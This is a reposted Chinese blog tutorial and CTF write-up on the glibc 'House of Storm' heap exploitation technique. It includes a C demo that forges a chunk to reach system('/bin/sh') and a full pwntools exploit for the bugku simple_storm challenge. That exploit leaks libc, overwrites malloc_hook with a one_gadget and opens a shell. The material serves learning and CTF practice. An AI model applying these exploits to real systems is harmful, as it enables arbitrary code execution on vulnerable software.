ToB企服应用市场:ToB评测及商务社交产业平台

标题: 堆Pwn：House Of Storm利用手法 [打印本页]
作者: 石小疯    时间: 2022-9-26 01:52
标题: 堆Pwn：House Of Storm利用手法
0x00：介绍

利用手法的背景：

house of storm是一种结合了unsorted bin attack和Largebin attack的攻击技术，其基本原理和Largebin attack类似。但不同的是，Largebin attack只可以在任意地址写入堆地址，而house of storm 则可以导致任意地址分配chunk，也就是说可以造成任意地址写的后果，危害性大。不过，house of storm 虽然危害大，但其利用条件也是十分苛刻的。
该利用手法适用于glibc 2.28及以下的版本，因为unsorted bin attack在glibc 2.29中已失效。
 
利用条件：

1. 需要unsorted bin中的bk指针可控；
2. 需要largebin中的bk指针和bk_nextsize指针可控；
3. 需要在largebin和unsorted bin中分别布置一个chunk，同时需要这两个chunk在归为之后处于同一个largebin的index中，且unsorted中的chunk要比largebin中大；
 
 前置了解：

需要了解unsorted bin attack和Largebin attack攻击手法。
下面会先大概介绍一下这两种攻击手法，并说明如何叠加变成house of storm。
 
 0x01：前置的利用手法

Unsorted Bin Attack：

该攻击手法可以达到任意地址写一个libc地址(即unsorted_chunks(av))的效果。unsorted bin attack发生在malloc时，对unsorted bin 中的chunk脱链时刻。图中的文字注明已经很清楚了，只要将unsorted bin的末尾chunk的修改为target - 0x10处，则在chunk脱链后，前后chunk进行fd/bk互连的过程中，会将target处赋值为一个libc地址。
但大家往往只关注到了target处被赋值了，其实unsorted_chunks(av) → bk同时也被赋值为了target - 0x10。
注意，在libc2.29中，这部分加入了双链表检查。这表明从libc2.29开始，unsorted bin attack手法就无法使用了。

 
 Largebin Attack：

该利用手法的本质和unsorted bin attack一样，都是基于双链表互连过程中发生的。不过由于在large bin中，有靠fd/bk相连的双链表和靠fd_nextsize/bk_nextsize相连的双链表，所以可以对任意两处的地址进行赋值，赋值为堆地址（victim，从unsorted bin中脱链出来的chunk）。
2.23 ~ 2.29版本中largebin attack的利用点，在2.30及以后的版本中，这里加入了双链表检测，所以在libc2.30及以后，该处的largebin attack无法使用了。
 
 
 Buffer叠加：

这里说一下unsorted bin attack和largebin attack如何叠加，变成house of storm，达到任意地址分配chunk的效果。
在unsorted bin中的chunk脱链，然后链接到large bin的过程中，可以同时进行这两种攻击。为之，所以我们需要在large bin中布置一个chunk，并且在unsorted bin中布置一个size稍大于largebin的chunk，使其能够链接在large bin中chunk的后面。
house of storm中，unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake（只是一个记号）。在下次申请chunk，使其进入unsorted bin的分支时，victim = unsorted_chunks(av) → bk（即fake），紧接着会有一个分支检查其size是否满足申请。只要满足了，则会直接分配fake处为chunk返回。现在，我们的关键点就是如何使用largebin attack使得其size发生稳定的改变。
我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中，地址寻址为8字节，但堆地址只占5个字节，而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处，赋值一个堆地址，则以fake为chunk的size处为0x55或者0x56。这样，就成功的修改了size。
注意小端序的问题：
 
 
 0x02：Demo示例
  1. // gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. struct {
  6.     char chunk_head[0x10];
  7.     char content[0x10];
  8. }fake;
  10. int main(void)
  11. {
  12.     unsigned long *large_bin,*unsorted_bin;
  13.     unsigned long *fake_chunk;
  14.     char *ptr;
  16.     unsorted_bin=malloc(0x418);
  17.     malloc(0X18);
  18.     large_bin=malloc(0x408);
  19.     malloc(0x18);
  21.     free(large_bin);
  22.     free(unsorted_bin);
  23.     unsorted_bin=malloc(0x418);
  24.     free(unsorted_bin);
  26.     fake_chunk=((unsigned long)fake.content)-0x10;
  27.     unsorted_bin[0]=0;
  28.     unsorted_bin[1]=(unsigned long)fake_chunk;
  30.     large_bin[0]=0;
  31.     large_bin[1]=(unsigned long)fake_chunk+8;
  32.     large_bin[2]=0;
  33.     large_bin[3]=(unsigned long)fake_chunk-0x18-5;
  35.     ptr=malloc(0x48);
  36.     strncpy(ptr, "/bin/sh", 0x48 - 1);
  37.     system(fake.content);
  38. }
复制代码
该代码展示的最终目标是分配chunk到fake_chunk。
代码16~19行，分配了两个large bin范围的chunk，并隔开。稍大的chunk后面会被调(tiao)到unsorted bin中，稍小的chunk会被free到large bin中。
代码21~24行，先将两个chunk free到unsorted bin中（头插法，先进先出）。然后malloc稍大的那个chunk使稍小的chunk进入large bin中，最后再次free掉稍大的chunk，使其进入unsorted bin。这样就满足的第三个条件。
后面就是对bk和bk_nextsize指针进行操控：
  1. //代码26 ~ 33
  3.     fake_chunk=((unsigned long)fake.content)-0x10;
  4. //unsorted_bin->bk = fake_chunk
  5. //则fake_chunk->fd = unsorted_chunks(av),不过似乎没有发挥使用
  6. //重点是：unsorted_chunks(av)->bk = fake_chunk
  7.     unsorted_bin[0]=0;
  8.     unsorted_bin[1]=(unsigned long)fake_chunk;
  10.     large_bin[0]=0;
  11.     large_bin[1]=(unsigned long)fake_chunk+8;
  12.     large_bin[2]=0;
  13. //(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
  14. //即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
  15.     large_bin[3]=(unsigned long)fake_chunk-0x18-5;
  17. /*其实,largebin attack部分这样也可以：
  18. *    large_bin[0]=0;
  19. *   large_bin[1]=(unsigned long)fake_chunk-0x8-5;
  20. *   large_bin[2]=0;
  21. *   large_bin[3]=(unsigned long)fake_chunk-0x8;
  22. *因为有两处可以修改任意地址
  23. */
复制代码
malloc(0x48)：申请0x50大小的chunk，chunk中size为0x55/0x56的大小也会被归为0x50这一级别。malloc(0x48)这一过程中，把unsorted_bin脱链，并链接到了large bin中。

 
 
 这里需要size为0x56才能分配chunk成功，0x55是会发生报错的。其原因是因为从_int_malloc返回到_libc_malloc后，还会有个断言对chunk进行检查：
  1. /*
  2.     #define arena_for_chunk(ptr) \
  3.         (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
  4.    
  5.     过以下检测需要满足的要求，只需满足一条即可
  6.     1. victim 为 0
  7.     2. IS_MMAPPED 为 1
  8.     3. NON_MAIN_ARENA 为 0
  9. */
  10. assert(!victim || chunk_is_mmapped(mem2chunk(victim))
  11.        || ar_ptr == arena_for_chunk(mem2chunk(victim)));
复制代码
0x56：0101 0110，满足第二个。
0x55：0101 0101，不满足，会报错。
因为系统一般会开ASLR，所以0x56、0x55发生的概率差不多，crash的话，多试几次就好了。
 
 0x03：题目实践

bugku的simple_storm：

链接：https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取码：lele

静态分析程序，delete函数里面存在UAF漏洞，那就可以随便玩了。
这里使用house of storm手法，应该还有其他方法。
具体思路就不说了，和上面的示例基本一模一样，这里getshell是通过覆盖malloc_hook为one_gadget。需要注意的是选择fake_chunk位置时，size位不能有数据，要为空。
  1. from pwn import *
  2. context(os='linux', arch='amd64', log_level='debug')
  4. io = process("./simple_storm")
  5. #io = remote("114.67.175.224", 12327)
  6. libc = ELF("./libc-2.23.so")
  8. def add(size):
  9.     io.sendlineafter("Your choice?", "1")
  10.     io.sendlineafter("Size?", str(size))
  12. def delete(idx):
  13.     io.sendlineafter("Your choice?", "2")
  14.     io.sendlineafter("Index?", str(idx))
  16. def edit(idx, content):
  17.     io.sendlineafter("Your choice?", "3")
  18.     io.sendlineafter("Index?", str(idx))
  19.     io.sendlineafter("Content?", content)
  21. def show(idx):
  22.     io.sendlineafter("Your choice?", "4")
  23.     io.sendlineafter("Index?", str(idx))
  25. def debug():
  26.     gdb.attach(io)
  27.     pause()
  29. add(0x400) #0
  30. add(0x18)  #1
  31. add(0x410) #2
  32. add(0x18)  #3
  33. delete(0)
  34. show(0)
  35. main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
  36. libc_base = main_arena - 0x3c4b20
  37. print("@@@ main_arena = " + str(hex(main_arena)))
  38. print("@@@ libc_base = " + str(hex(libc_base)))
  40. delete(2)
  41. add(0x410) #4
  42. delete(4)
  44. ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
  45. malloc_hook = main_arena - 0x10
  46. fakechunk = malloc_hook - 0x50
  47. edit(4, p64(0) + p64(fakechunk))
  48. edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
  49. add(0x48) #5
  50. edit(5, p64(ogg[1] + libc_base)*9)
  51. add(0x20)
  52. io.interactive()
复制代码
 
本文参考：
https://www.anquanke.com/post/id/203096
https://www.cnblogs.com/Rookle/p/13140339.html
tolele
2022-09-25
 
出处：https://www.cnblogs.com/tolele/本文版权归作者和博客园共有，欢迎转载，但必须给出原文链接，并保留此段声明，否则保留追究法律责任的权利。
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4